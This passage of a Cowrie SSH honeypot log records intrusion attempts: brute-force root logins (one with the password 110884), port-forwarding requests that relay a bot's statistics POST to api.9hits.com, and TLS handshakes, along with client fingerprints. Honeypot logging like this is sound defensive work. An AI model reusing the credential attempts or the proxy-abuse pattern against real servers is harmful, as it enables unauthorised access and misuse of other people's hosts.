deflate\\r\\n\\r\\n_=V20%2BSDVpR00%2FciN1NEBBfQ%3D%3DB4dnzkN6a8tW8YFH7676MAQqr5RmUi79YeiiKN%2F35FWMgSINwuJLMkOt6oZXdvinenKwzic0S8euqXNIj9l7bFEK8kYrwsXuNWRsoxx1gJaKMaZcf8OMwJyzVo6iiyQyZ1hD6ORkOVgpPx1k4hcO7%2F2%2FGw8VNQ5WCKX1aq5585MT1bIHlWlHxvdNzuludPlyt2jB9rZtagnZKOHyjcLZEYvNeEdWCONlZcIf%2F%2Bt7cyoLq4QZTo%2FjyexxXMHGF%2BKl5bHYfimDOUo8wZdo1YSFVkWPvJ%2Bmr0S2L8PokIgJw7gHq20jvsKlLIGSYPBFWm9wuHA9p8iD0zLoFsxbhmFhdW1HBwyUmbZd87LphMcATzf%2BApqasu8mEMra96Y1KWZvi495FJrBWZHEGw8uaO2vgXjdGL3NY4muCajiVqeUri%2BYQ%2FYnhpEu9QX2ZgKTD9bVHDxjjKNuyS5cJxA2NlvJOkKjOFAsCB91OM2h8JxhFO0F5Rx0c%2Bs2GOb%2FMCpbebWrFCGN4cLsigP2QFEMDBKFXyvnuIly8evGetg9ZfSFy%2BDci3GPkpndPHZZ1%2F%2Fs2A1z2cSpXZEQJlLeHzitJk3Iw7WK%2F9PIGa9bKdUBTNQVegwAG4o2LJlWfo1g3H%2F779325TxlIizjuISRRQB7K2UwTq050K7deMljGHyM7lNaDAJx2L8aAXp0elS5gRyPzdjtqqvHmFOhzMk4as4n5JfqzBR1eBg6%2FbV1Q9j%2B8D0AkSjQF%2F%2BgIXnofTU3bJLdkj59GgcZA9dmTQizkmwIBpFNjzHx117kdXM9JJ9WEdTnzW0pTtVT2YdyLeSi6hEDliat6Srw8f5l95b5GGZTWV2o1ICS7CSSGX5TYpusUHNnCdK1fn%2FZX9lgmkvukbEu9rm2DXjaKcP4ArIAl55ZVRSGmqLBlv8lgK7iRAc%2Ba%2BHHKe8UfOrpzlFof4qxW%2FI0GBjTvDjngksO0Mb3x3RDuI8G%2BZ%2Ffx5NtRL4DIuEkjxOHej78ozpB%2FgF4RTMuuKAY2N0w%2BS8RILzBekhmrksY4WrjgzPKGBPBDGeU%2FobvvvNPbCR%2BZPwQKeu6GnsUphx76ac8'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.1.2; TX9 Pro Build/NHG47L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=V20%2BSDVpR00%2FciN1NEBBfQ%3D%3DB4dnzkN6a8tW8YFH7676MAQqr5RmUi79YeiiKN%2F35FWMgSINwuJLMkOt6oZXdvinenKwzic0S8euqXNIj9l7bFEK8kYrwsXuNWRsoxx1gJaKMaZcf8OMwJyzVo6iiyQyZ1hD6ORkOVgpPx1k4hcO7%2F2%2FGw8VNQ5WCKX1aq5585MT1bIHlWlHxvdNzuludPlyt2jB9rZtagnZKOHyjcLZEYvNeEdWCONlZcIf%2F%2Bt7cyoLq4QZTo%2FjyexxXMHGF%2BKl5bHYfimDOUo8wZdo1YSFVkWPvJ%2Bmr0S2L8PokIgJw7gHq20jvsKlLIGSYPBFWm9wuHA9p8iD0zLoFsxbhmFhdW1HBwyUmbZd87LphMcATzf%2BApqasu8mEMra96Y1KWZvi495FJrBWZHEGw8uaO2vgXjdGL3NY4muCajiVqeUri%2BYQ%2FYnhpEu9QX2ZgKTD9bVHDxjjKNuyS5cJxA2NlvJOkKjOFAsCB91OM2h8JxhFO0F5Rx0c%2Bs2GOb%2FMCpbebWrFCGN4cLsigP2QFEMDBKFXyvnuIly8evGetg9ZfSFy%2BDci3GPkpndPHZZ1%2F%2Fs2A1z2cSpXZEQJlLeHzitJk3Iw7WK%2F9PIGa9bKdUBTNQVegwAG4o2LJlWfo1g3H%2F779325TxlIizjuISRRQB7K2UwTq050K7deMljGHyM7lNaDAJx2L8aAXp0elS5gRyPzdjtqqvHmFOhzMk4as4n5JfqzBR1eBg6%2FbV1Q9j%2B8D0AkSjQF%2F%2BgIXnofTU3bJLdkj59GgcZA9dmTQizkmwIBpFNjzHx117kdXM9JJ9WEdTnzW0pTtVT2YdyLeSi6hEDliat6Srw8f5l95b5GGZTWV2o1ICS7CSSGX5TYpusUHNnCdK1fn%2FZX9lgmkvukbEu9rm2DXjaKcP4ArIAl55ZVRSGmqLBlv8lgK7iRAc%2Ba%2BHHKe8UfOrpzlFof4qxW%2FI0GBjTvDjngksO0Mb3x3RDuI8G%2BZ%2Ffx5NtRL4DIuEkjxOHej78ozpB%2FgF4RTMuuKAY2N0w%2BS8RILzBekhmrksY4WrjgzPKGBPBDGeU%2FobvvvNPbCR%2BZPwQKeu6GnsUphx76ac8'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:08.273484Z","src_ip":"38.46.222.137","session":"d938623060b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:08.503518Z","session":"d938623060b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:08.563720Z","src_ip":"38.46.222.137","session":"d938623060b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x04\\xc9\\x1aW\\xc4\\x98\\x7fYYz\\xac\\xbc{\\x14:\\x029\\xaa\\x01\\xf9\\x19m\\xb1m\\xa2O\\xa5\\xcd\\x05\\xf0\\xc5@ \\xf4\\x88\\xf9Z\\x19\\xcfQKv\\x99\\xf8\\xd6\\x04.)\\xe4\\xf0\\xc1\\x8f\\x939\\xf8\\x90\\xc9\\xb9%\\r\\x85\\xbe\\xe2E.\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 Q:\\xf7\\x1ci\\xe53\\xce\\x9c\\xaeU\\xce\\x1f0\\x8d5\\x8aS\\xb6r\\x9b\\xaf$\\xaf\\xb5\\x9e$\\xd1\\xbf4\\\\ \\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x04\\xc9\\x1aW\\xc4\\x98\\x7fYYz\\xac\\xbc{\\x14:\\x029\\xaa\\x01\\xf9\\x19m\\xb1m\\xa2O\\xa5\\xcd\\x05\\xf0\\xc5@ \\xf4\\x88\\xf9Z\\x19\\xcfQKv\\x99\\xf8\\xd6\\x04.)\\xe4\\xf0\\xc1\\x8f\\x939\\xf8\\x90\\xc9\\xb9%\\r\\x85\\xbe\\xe2E.\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 Q:\\xf7\\x1ci\\xe53\\xce\\x9c\\xaeU\\xce\\x1f0\\x8d5\\x8aS\\xb6r\\x9b\\xaf$\\xaf\\xb5\\x9e$\\xd1\\xbf4\\\\ \\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:08.571856Z","src_ip":"38.46.222.137","session":"d938623060b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:08.639907Z","session":"d938623060b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:08.704774Z","src_ip":"38.46.222.137","session":"d938623060b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x94t\\xaa\\xda)\\x89\\xdf\\xd5\\xa4\\xd2\\xc7F\\x83\\xb4\\x18O\\r\\x88l\\x06X\\xa8\\xb8\\xc73\\x15\\xad\\xbfy\\x93\\x82u \\x1f\\x9c0\\xfc\\x83\\xe9e\\x1fS!|\\x0f\\xb2\\xc8\\x82p\\xbe\\x06\\xcf\\xee\\xc9\\xe4\\x18\\x1eI}\\t\\x81B\\xbcj\\xe0\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x10X\\xa9%VF}4S\\xda\\xfa\\x9f)J(\\xc5\\xdb[3e\\x8a-d\\xed\\x9a\\x82\\xa8\\x80q\\\\e\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x94t\\xaa\\xda)\\x89\\xdf\\xd5\\xa4\\xd2\\xc7F\\x83\\xb4\\x18O\\r\\x88l\\x06X\\xa8\\xb8\\xc73\\x15\\xad\\xbfy\\x93\\x82u \\x1f\\x9c0\\xfc\\x83\\xe9e\\x1fS!|\\x0f\\xb2\\xc8\\x82p\\xbe\\x06\\xcf\\xee\\xc9\\xe4\\x18\\x1eI}\\t\\x81B\\xbcj\\xe0\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x10X\\xa9%VF}4S\\xda\\xfa\\x9f)J(\\xc5\\xdb[3e\\x8a-d\\xed\\x9a\\x82\\xa8\\x80q\\\\e\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:08.707899Z","src_ip":"38.46.222.137","session":"d938623060b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":56166,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c9104e9f525","protocol":"ssh","message":"New connection: 45.148.10.121:56166 (159.203.135.109:22) [session: 3c9104e9f525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:10.178499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:10.184633Z","src_ip":"45.148.10.121","session":"3c9104e9f525","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:11.247340Z","src_ip":"45.148.10.121","session":"3c9104e9f525","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":43136,"dst_ip":"159.203.135.109","dst_port":22,"session":"05df41a0f9b8","protocol":"ssh","message":"New connection: 103.82.132.16:43136 (159.203.135.109:22) [session: 05df41a0f9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:13.124766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:13.133294Z","src_ip":"103.82.132.16","session":"05df41a0f9b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:13.390637Z","src_ip":"103.82.132.16","session":"05df41a0f9b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:13.826869Z","session":"8f4eb6b52019","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"110884","message":"login attempt [root/110884] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:14.167631Z","src_ip":"103.82.132.16","session":"05df41a0f9b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.4","message":"Connection lost after 11.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:14.173751Z","src_ip":"38.46.222.137","session":"d938623060b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:14.218381Z","session":"8f4eb6b52019","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:14.224051Z","src_ip":"23.175.50.52","session":"8f4eb6b52019","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03fn/\\xd31e\\xbb\\xfc\\xaf\\x13\\xe7Z\\x04$QPE+F\\x88\\xc0U\\x03\\x17\\xce\\xe2J\\xe7.\\xb5\\xd9\\xd3 B\\xcb\\x93|\\xd2\\xe9\\x88\\x8dC\\x8bc\\x0774\\xba\\xfaJ\\x1a\\x0431+\\xe3\\x13n\\xefD\\n\\xe9L<\\xe4\\x00 